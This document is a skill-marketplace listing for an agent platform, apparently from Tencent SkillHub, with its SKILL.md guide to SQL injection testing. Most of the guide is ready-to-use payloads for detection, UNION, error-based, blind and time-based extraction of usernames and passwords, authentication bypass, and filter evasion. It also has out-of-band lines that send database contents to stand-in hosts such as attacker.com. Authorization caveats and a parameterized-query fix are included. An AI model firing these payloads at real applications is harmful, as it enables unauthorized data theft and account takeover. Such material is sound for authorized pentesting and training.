Requirements
- Target platform
- OpenClaw
- Install method
- Manual import
- Extraction
- Extract archive
- Prerequisites
- OpenClaw
- Primary doc
- SKILL.md
Tencent SkillHub ยท Developer Tools
SQL Injection Testing
Perform authorized security tests to detect, exploit, and validate defenses against SQL injection vulnerabilities in web applications.
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Perform authorized security tests to detect, exploit, and validate defenses against SQL injection vulnerabilities in web applications.
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- Source platform
- Tencent SkillHub
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- SKILL.md
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Trust & source
Release facts
- Source
- Tencent SkillHub
- Verification
- Indexed source record
- Version
- 1.0.0
Provenance
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- brandonwise
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Documentation
SQL Injection Testing
Comprehensive SQL injection vulnerability assessment techniques for web applications, covering detection, exploitation, and defense validation.
Description
USE WHEN: Testing for SQL injection vulnerabilities Performing authorized penetration tests Validating input sanitization mechanisms Bypassing authentication for security testing Extracting database information (authorized) Learning SQL injection defense DON'T USE WHEN: No written authorization for testing Testing production systems with real user data Intent is malicious (don't be evil) โ ๏ธ LEGAL REQUIREMENT: Written penetration testing authorization required before use.
Injection Point Identification
Common injectable parameters: URL params: ?id=1, ?user=admin, ?category=books Form fields: username, password, search, comments Cookies: session_id, user_preference HTTP headers: User-Agent, Referer, X-Forwarded-For
Basic Vulnerability Tests
-- Single quote test ' -- Double quote test " -- Comment sequences -- # /**/ -- Semicolon for query stacking ; Watch for: Database error messages HTTP 500 errors Modified response content/length Unexpected behavior changes
Boolean Logic Tests
-- True condition (should return data) page.asp?id=1 or 1=1 page.asp?id=1' or 1=1-- page.asp?id=1" or 1=1-- -- False condition (should return nothing/error) page.asp?id=1 and 1=2 page.asp?id=1' and 1=2-- Compare responses between true/false to confirm injection.
UNION-Based Extraction
-- Step 1: Determine column count ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- -- Continue until error occurs -- Step 2: Find displayable columns UNION SELECT NULL,NULL,NULL-- UNION SELECT 'a',NULL,NULL-- UNION SELECT NULL,'a',NULL-- -- Step 3: Extract data UNION SELECT username,password,NULL FROM users-- UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
Error-Based Extraction
-- MSSQL 1' AND 1=CONVERT(int,(SELECT @@version))-- -- MySQL (XPATH) 1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -- PostgreSQL 1' AND 1=CAST((SELECT version()) AS int)--
Blind Boolean-Based
-- Character extraction 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'-- -- Conditional responses 1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
Time-Based Blind
-- MySQL 1' AND IF(1=1,SLEEP(5),0)-- 1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)-- -- MSSQL 1'; WAITFOR DELAY '0:0:5'-- -- PostgreSQL 1'; SELECT pg_sleep(5)--
Out-of-Band (OOB)
-- MSSQL DNS exfiltration 1; EXEC master..xp_dirtree '\\attacker-server.com\share'-- -- MySQL DNS 1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))-- -- Oracle HTTP 1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
Authentication Bypass
-- Classic bypass payloads admin'-- admin'/* ' OR '1'='1 ' OR '1'='1'-- ' OR '1'='1'/* ') OR ('1'='1 ') OR ('1'='1'-- -- Query transformation example -- Original: SELECT * FROM users WHERE username='input' AND password='input' -- Injected (username: admin'--): -- SELECT * FROM users WHERE username='admin'--' AND password='anything' -- Password check bypassed!
Character Encoding
-- URL encoding %27 (single quote) %22 (double quote) %23 (hash) -- Double URL encoding %2527 (single quote) -- Hex strings (MySQL) SELECT * FROM users WHERE name=0x61646D696E -- 'admin'
Whitespace Alternatives
-- Comment substitution SELECT/**/username/**/FROM/**/users -- Tab character SELECT%09username%09FROM%09users -- Newline SELECT%0Ausername%0AFROM%0Ausers
Keyword Evasion
-- Case variation SeLeCt, sElEcT, SELECT -- Inline comments SEL/*bypass*/ECT UN/*bypass*/ION -- Double writing (if filter removes once) SELSELECTECT โ SELECT UNUNIONION โ UNION
Database Fingerprinting
DatabaseVersion QueryMySQLSELECT @@version or SELECT version()MSSQLSELECT @@versionPostgreSQLSELECT version()OracleSELECT banner FROM v$versionSQLiteSELECT sqlite_version()
Information Schema Queries
-- MySQL/MSSQL: List tables SELECT table_name FROM information_schema.tables WHERE table_schema=database() -- List columns SELECT column_name FROM information_schema.columns WHERE table_name='users' -- Oracle equivalent SELECT table_name FROM all_tables SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
Quick Reference
PurposePayloadBasic test' or "Boolean trueOR 1=1--Boolean falseAND 1=2--Comment (MySQL)# or -- Comment (MSSQL)--UNION probeUNION SELECT NULL--Time delayAND SLEEP(5)--Auth bypass' OR '1'='1
Detection Test Sequence
1. Insert ' โ Check for error 2. Insert " โ Check for error 3. Try: OR 1=1-- โ Check for behavior change 4. Try: AND 1=2-- โ Check for behavior change 5. Try: ' WAITFOR DELAY '0:0:5'-- โ Check for delay
โ Vulnerable
const query = `SELECT * FROM users WHERE id = '${userId}'`;
โ Safe
// Parameterized query const query = 'SELECT * FROM users WHERE id = $1'; const result = await db.query(query, [userId]); // OR use ORM const user = await prisma.user.findUnique({ where: { id: userId } });
Tools
SQLMap: Automated SQL injection Burp Suite: Request manipulation OWASP ZAP: Web app scanner Havij: SQL injection tool
Troubleshooting
ProblemSolutionNo error messagesUse blind injection (boolean/time-based)UNION failsCheck column count with ORDER BYWAF blockingUse encoding/evasion techniquesPayload not executingVerify correct comment syntax for DB typeTime-based inconsistentUse longer delays (10+ seconds)
Ethical Guidelines
Never execute destructive queries (DROP, DELETE) without explicit authorization Limit data extraction to proof-of-concept quantities Stop immediately upon detecting production data Report critical vulnerabilities through agreed channels Document all activities for audit trail
Category context
Code helpers, APIs, CLIs, browser automation, testing, and developer operations.
Source: Tencent SkillHub
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Package contents
Included in package
1 Docs
- SKILL.md